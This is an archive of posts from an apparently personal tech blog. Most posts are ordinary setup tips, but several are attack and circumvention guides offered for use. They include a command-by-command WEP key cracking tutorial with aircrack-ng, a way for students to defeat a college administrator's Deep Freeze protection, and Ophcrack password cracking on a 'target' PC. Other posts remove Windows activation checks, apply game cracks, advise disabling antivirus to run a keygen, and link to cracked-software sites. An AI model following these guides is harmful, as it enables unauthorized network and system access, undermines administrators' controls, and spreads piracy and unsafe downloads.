Random Tech Article, Guide and Tutorial

To do list after buying vps

2012-06-09T09:57:00.001+08:00

Remote desktop

//Make sure Debian is the latest and greatest

apt-get update

apt-get upgrade

apt-get dist-upgrade

//Install X, LXDE, VPN programs

apt-get install xorg lxde-core tightvncserver

//Start VNC to create config file

tightvncserver :1

//Then stop VNC

tightvncserver -kill :1

//Install nano word editor

sudo apt-get install nano

//Edit config file to start session with LXDE:

nano ~/.vnc/xstartup

//Add this at the bottom of the file:

lxterminal &

/usr/bin/lxsession -s LXDE &

//Restart VNC

tightvncserver :1

Seedbox

wget --no-check-certificate -O autodl-setup http://sourceforge.net/projects/autodl-irssi/files/autodl-setup/download

sudo sh autodl-setup

Browser

firefox - sudo apt-get install firefox

Desktop icon

idesk - sudo apt-get install idesk

Package manager

choose between this 2

sudo apt-get install synaptic

sudo apt-get install aptitude

Window 7 God Mod

2010-10-01T00:09:00.001+08:00

A function use to show all Window 7 setting.

1) Create a new folder
2) Rename that folder to GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

if the process success, the folder's icon will change to resemble a control panel. Open that folder to view the result

The trick is also said to work in Windows Vista. Some are warning, although it works fine in 32-bit versions of Vista, it can cause 64-bit versions of that operating system to crash.

Create Window Vista or 7 USB

2010-09-19T21:53:00.000+08:00

This guide intend for netbook user or anyone who doesn't have access to optical drive for installing window 7

Requirements:
USB Flash Drive (Minimum 4GB)
Windows 7 or Vista installation files.
A PC or laptop with optical drive ( use to copy window installation file to usb drive)

1. Plug-in your USB flash drive and backup all your data because this usb flash drive will be formatted
2. Open Command Prompt, type "diskpart" without the bracket.
3. Type "list disk", note down the Disk number of your USB flash drive (eg: Disk 1) .
4. Assuming you usb flash drive is Disk 1, follow step below. If your usb flash drive is at other disk (eg: Disk 2), do change at appropriate command

                   SELECT DISK 1
                   CLEAN
                   CREATE PARTITION PRIMARY
                   SELECT PARTITION 1
                  ACTIVE
                  FORMAT FS=NTFS

                  ASSIGN
                  EXIT

5. Navigate to your optical drive directory using CMD window
            D: and hit enter.assuming D: is your drive letter
            CD BOOT
6. Update usb with boot manager
            BOOTSECT.EXE /NT60 H: <--------assuming H: is your usb flash drive letter
8. Manually copy your Windows 7/Vista DVD contents to the USB flash drive.
9 . Your usb window installer now are complete. Boot the usb to run installer

Cracking wifi WEP key

2010-05-30T17:18:00.004+08:00

list of what you need :
1) A packet injection capable wireless adapter - check suported wireless adapter here
2) A linux distro - I use ubuntu as it is more user friendly. Backtrack is also recommended because the software that we will use are preinstalled
3) Aircrack software - how to get if? i'll show you in the tutorial later

This tutorial only works on WEP networks. WPA tutorial will come later

lets begin

1) start ubuntu and open a terminal. type "sudo apt-get install aircrack-ng" (without the " ). This will install aircrack in your ubuntu

2) Type "sudo airmon-ng start wlan0" - this will activate monitor mode

3) Type "sudo airodump-ng mon0"

4) Open new terminal and type "sudo airodump-ng -c [channel] -w [filename] --bssid [bssid] mon0"
   -you can get the channel and bssid from step 3, for file name, use anything that you like

5) Open new terminal and type "sudo aireplay-ng -1 0 -a [bssid] mon0"
   Wait until reply like this come out -
   Sending Authentication Request (Open System) [ACK]
   Authentication successful
   Sending Association Request [ACK]
   Association successful :-) (AID: 1)

6) Type "sudo aireplay-ng -3 -b [bssid] mon0

7) Finally "aircrack-ng -b [bssid] [filename]-01.cap" if cracking failed, wait few more minutes to collect more IV's

installing General Zero Hour(for people who lost the CD)

2010-05-09T11:40:00.002+08:00

first install the basic general.then crack as usual
then copy the general zero hour folder into EA Games folder
Eg: D:\Program Files\EA Games

then mount CD 1 zero hour,and install.when propt which directory to be install, select the previous folder that u paste the game
Eg: D:\Program Files\EA Games\Command and Conquer Generals zero hour
lastly,crack and play :)

Hinagiku's Birthday

2010-03-03T15:18:00.003+08:00

not that i m abusing my power in the blog but just taking this chance to say Otanjoubi Omedetou to Hinagiku. ^^ .

Microsoft WAT remover

2010-02-26T15:50:00.000+08:00

To control piracy, Microsoft started WGA (Windows Genuine Advantage) system to control it’s duplication long time back. At first it tested with Windows XP and later it got applied on Windows XP systems also. But finally it’s bringing a change to it’s piracy control system by replacing WGA with WAT (Windows 7 Activation Technologies). Windows 7 Activation Technologies is more powerful and convenient way to activate your copy of Windows 7. While Windows Genuine Advantage will be there for XP systems, WAT will replace it on Vista and Windows 7 copies.

IF you still haven't update your window 7 with Download WAT Update (KB971033) you can mark this update for exclusion.

If you have update with KB971033, you can use this software to remove the WAT notification.
Remove WAT 2.2

Auto start computer

2010-01-10T11:27:00.003+08:00

Did you know, most recent motherboard has function to wake up on alarm and turn on your computer at the time you specified?

how to do it?
1) Turn on yur computer
2) During boot up, press"delete" to enter cmos setup
3) Go to power management tab
4) Set wake up on alarm to "Enable"
5) Set to how many day the function will active or simply set it to every day
6) Set the time computer will auto start
7) Save and exit.
8) congratz - you just got your self and overprice alarm clock

This option are useful when you're doing maintenance on your computer or running you download at specified time

Lyric plugin for Winamp

2010-01-08T07:50:00.020+08:00

Lately I have lost interest in Japanese song and it make me wonder why as Japanese song that i have isn't bad, in fact its better than English song. Then I found lyric plugin for winamp that automatically search the lyric for the song played. Thanks to it, I can now understand the song better and my interest returned. Download it for free here

For Vista and Window 7 user u may need to change file name or your winamp will crash. Its located at Winamp\Plugins and originally named Gen_LeosLyrics.dll. You will need to change it to Gen_LeosLyrics1.dll and problem solved. I wonder why this problem happen as the solution is easy(and funny)

Of course u need to be connected to the internet as the plugin search for the lyric in the internet and if they found more than 1 it will be listed for you for manual selection.Lets say you dont like lyric from lyric.com, then you can select lyric from another site in the list.

After you select the right lyric for the song, the lyric will appear

For English and Malay Rock Kapak listener you are lucky. It will automatically select the best lyric according to other plugin user's preference. For Japanese song listener, u need to select the lyric by yourself but its just for the first time as your preferred lyric will automatically selected for the next time its played.

OR

There is 1 more plugin that will automatically search for the lyric named lyricsplugin. Download it at http://lyricsplugin.com/ . Its simpler and if there is no lyric for the song, u can contribute by making it yourself, and it will be shared by other user in case they are listening to the same song as u will be saving it at their database. This feature is what Leo lack in his plugin. So be active. Contribute. Its not difficult, just find on google then click edit link at the end of the lyric in lyricplugin

Oh,1 more good lyric plugin. Mini lyric .Download keygen(bundled with Winamp installer) here or here.. Make sure u turn off antivirus auto-protect first before extracting the keygen. its best for karaoke. its also online. U can still karaoke while typing ur work

I hope this plugins will be helpful, either to memorize or to understand the lyric(as for me sometime i cant understand what exactly that they said in the song, even its malay),or to help u get back your interest in Japanese song lol

Status: Still researching so this post is relied heavily on hypothesis, cannot be declared as fact yet, the edited post below show latest result n data of the research. Comment and know-how r welcomed

Edited: After some tried and error, i found that lyricsplugin has wider collection of lyric compared to leoslyric that relied heavily to his own site. If no one post that lyric on his site(leoslyric), most likely u wont find it on the list. Even if u submit the lyric to him, u need his approval that most likely takes 2 weeks to be approved.

But its still not confirmed wheres the lyric source of lyricsplugin. Maybe comes from whole www and contribution from user.
but if u listen to malay song, need no worry as until now both plugin serve well. Its just if u wann listen to Jap song, switch to lyricsplugin. For me i install both plugin so i can switch anytime. Remember to turn off LeosLyric autostart at 'about' tab -> setting

Window XP installation by USB drive

2009-12-29T15:04:00.000+08:00

Full XP Install

download usb multiboot 10, a software use to copy installation file from original window CD and making USB drive bootable
Unpack to any folder. THE PATH TO YOUR FOLDER MUST BE SIMPLE AND WITHOUT SPACES! (ex. c:\usb_multiboot_10)
plug in your USB drive.
1. ALL DATA ON YOUR STICK WILL BE ERASED! do some back up before running USB MultiBoot 10
Run USB_MultiBoot_10.cmd. follow text description.
Format utility will apear. Choose NTFS for USB drive more 4Gb and FAT16 for below 4Gb drive, Start format, Close after finishing to allow the DOS operations to continue.
1. diamondsw: Using the “HP format” option works fine for any capacity, and you can use FAT32 without problems . This can be useful as more systems can read FAT32 than NTFS.
2. NOTE: If you are doing this from a Vista or se7en machine, you may need to run PeToUSB.exe as adminstrator in order for this program to recognize the jump drive. (Right click PeToUSB.exe > Properties > Compatibility > “Run this program as an administrator” checked.)
Set options 1 and 2. Set option 0 only if you want to use USB HDD instead of a USB stick/ SD card.
Do not touch other options if you have no idea about it.
Choose 3 after setting all other options. It will create the image and write it to the USB stick as well as making the USBstick / SD card bootable.
Answer Yes to all questions that come up (these vary depending on options selected).
When it finishes copying, remove your usb stick and insert it in the target system to install XP.
When you turn on the PC,change boot device to usb drive (you can do this by boot select option or simply set boot from USB in CMOS setting ). You'll need to do this at each reboot until XP is fully installed and you've logged in.
Choose Text installation at first time and GUI INSTALLATION AFTER REBOOT TWICE! - ( Choose step 1 to start installing, after reboot choose step two, after continued install press step 2 AGAIN to log into XP - As soon as you arrive at the Windows XP Desktop you can safely remove the USB drive
1. If you get hal.dll not found errors, read carefully the last two last bullets!
2. If you get 'ntldr is missing' or other boot errors after you have ran text installation make sure you have deleted ALL partitions during 'text installation' this includes the BIOS partition.

IMPORTANT! DO NOT REMOVE USB STICK UNTIL YOU'LL SEE XP's LOGIN SCREEN!

credit to eeeuser.com for the great tutorial

Some Useful firefox plugins

2009-12-24T11:19:00.000+08:00

Tab Mix Plus - Plugins that enhance Firefox tabbing function. If you ever accidentally close a tab that you didn't want to close, tab mix plus can give you option to lock a tab, so you wont accidentally close it. it also allow you to lock a page so it wont go to another tab while you clicking on a link making cross referencing materials easier

Adblock Plus - very useful plugins to block popup and annoying advertisement. blocking advertisement can save your bandwidth and increase page loading time.

Noscript - work with similar policy with adblock plus albeit with regard to JavaScript. Its wont allow javascript in webpage to run unless you white list them. this plugins is very useful especially when there a lots of site using JavaScript for malicious purpose .

Flashgot - best download manager integration for Firefox I've found so far. some download manager, flashget for example, didn't support Firefox web browse so this plugins come very handy.

Download Manager Tweak - for those who like to stick with default Firefox download manager, DMT is a good improvement for firefox downloaded. it further enhance button, re download deleted file and more download detail

New contributor

2009-12-17T06:39:00.007+08:00

Lol I thought you forgot to invite me to contribute, äku.So without wasting time further, I wanna share some game, software and movie in one downloading site.

http://letsgamenow.blogspot.com/ -This site is mainly for game download. Use Mediafire primarily.

http://www.egydown.com - Fast update and good source of cracked softwares and games. Megaupload or Rapidshare

both is fast at uploading new game and software, but egydown seem to have more game than letsgamenow. So if you got megaupload account you are lucky. or simply use
http://www.rapid8.com/

Double Driver - Backup your window driver

2009-12-15T21:33:00.000+08:00

If you always reinstall or reformat your entire system but always don't have driver CD for your hardware, this piece of software could be very useful to you. It could be use to view, backup, restore, save and print all the driver or only the chosen drivers, anytime you want. Moreover, this program is free too, so you could add it to your System rescue kit.

Click here to download Double Driver

How to use -
1) Download Double driver and start the software. Hit the scan button to scan available driver in your System.
2) By default, it will select non-Microsoft driver such as chipset and graphic driver. Its up to you whether you want to choose Microsoft driver as well. Then click save (Ctrl+s). It will create a driver list text file for your easy access or view.
3) Now, the important part. hit the "backup" button and select place to backup your driver then click OK. the software will compile the selected driver to place where you've defined. Done backup.
4) to restore the driver after reinstall your system, you could simply use the "restore" button then click the "locate" button to locate for your backup driver and finally click "restore". Done and Done. no need to worry about missing driver CD again.

Hidden Folder in MS Window

2009-12-08T16:03:00.003+08:00

Guide on how to hide folder better than just adding hidden attribute.

1) Create a new folder

2) Rename the new folder an invisible character. You can do this by renamed the folder and using ALT+0160. You should now have a folder with a " " as its name.

3) To make the folder icon gone, change folder icon by right click to the folder, click "properties" then go to "customize" tab

Click on "change icon" then select transparent background as icon Then click OK and apply

See empty space under the blue box?thats the transparent icon

Your hidden folder are done now , you can add some flavor by changing its attribute as "hidden" or "system"

In order to delete the folder you’ll need to rename it in the command prompt by typing:

< ren " " anynamehere > That’s not a space in between the quotes. You need to press ALT+1060. You’ll then be able to delete the folder.

Deep freeze Unfreezer

2009-12-07T20:00:00.003+08:00

Annoyed by your computer administrator in college give you limited student account to log in to window and every software that you use got wipe out every time the computer reboot?, Install deep freeze in you computer and the next day, you forgot the password?

Deep Freeze, by Faronics, is an application available for the Microsoft Windows, Mac OS X, and SUSE Linux operating systems which allows system administrators to protect the core operating system and configuration files on a workstation or server by restoring a computer back to its original configuration each time the computer restarts

Link to Deep freeze site - http://www.faronics.com/

Despite of its kernel base operation and highly secure application, there is a way to remove Deep Freeze password so you can thaw the protection offer by Deep Freeze

Here the drill:

First, download this software : Deep Freeze password remover

2) Then run Deep Freeze password remover that you have downloaded

3) Click on "Change It" button and then hit OK.

4) Close Deep Freeze password remover software.

5) Now, open Deep Freeze (Shift + Double click on Deep Freeze 6 icon or press ctrl + alt + shift + F6 button) and just press enter when deep freeze prompt a password (you can also put any password). This password will be accepted and you will be able to access Deep freeze 6 control panel where you can change "Boot Frozen" to "Boot Thawed".

6) Now reboot and simply uninstall Deep Freeze 6 from your computer as you do for other normal applications.

Note: This Deep Freeze password remover can be use to to remove password of Deep Freeze between version 6-6.3. This may or may not work to uninstall Deep Freeze other versions.

Tell me if the MediaFire link died

Credit to Deep freeze for their great software and creator of deep freeze password remover. This tutorial is intend for educational use. It was not meant do do any harm to any party.

Google Wave invitation

2009-12-05T23:45:00.002+08:00

I got my hand on Google wave and I still got 8 invitation to give - Those who wan this invitation can leave your email in comment

Recover or find lost Window password

2009-12-05T17:53:00.003+08:00

Most of us have surely have bad experience when we forgot our precious Microsoft Window password, so here the solution - This tutorial provide for educational or individual purpose only. Use at your own risk

The easiest way is to use Ophcrack live cd. you can get it here : http://ophcrack.sourceforge.net/

1 - Download Ophcrack LiveCD, depend on the operating system of computer that you want to recover (refer as 'target' after this) . The size of LiveCD image you're downloading is quite large. The Windows XP version is 452MB and the Windows Vista version is 532MB.

2 - Finish download? next step is to burn the download Ophcrack iso file to a cd. (you can use power iso or nero but make sure it is burn as bootable cd or your livecd wont run later.)

3 - Done burn the iso to cd, put it in target pc cdrom drive then restart the target pc. boot from cdrom or simply set cdrom as primary boot device

4 - After liveCD done loading, you will see 3 Ophcrack menu - graphic mode, graphic VESA mode, and text mode, select 1st option that is graphic mode or simply do nothing.just wait for a few second then ophcrack will continue to load

5 - Wait till screen like this load -

6 - The ophcrack software will automatically try to find any password available on the target system.its done fully automatically, wait for a few minutes and voila! you got the password.

under user column you can see available user or 'window user account name'. Under NT pwd column are recovered password for the specified user. empty NT pwd column mean no password available.

Thats all. Credit to http://ophcrack.sourceforge.net/ for the LiveCD and http://pcsupport.about.com for the picture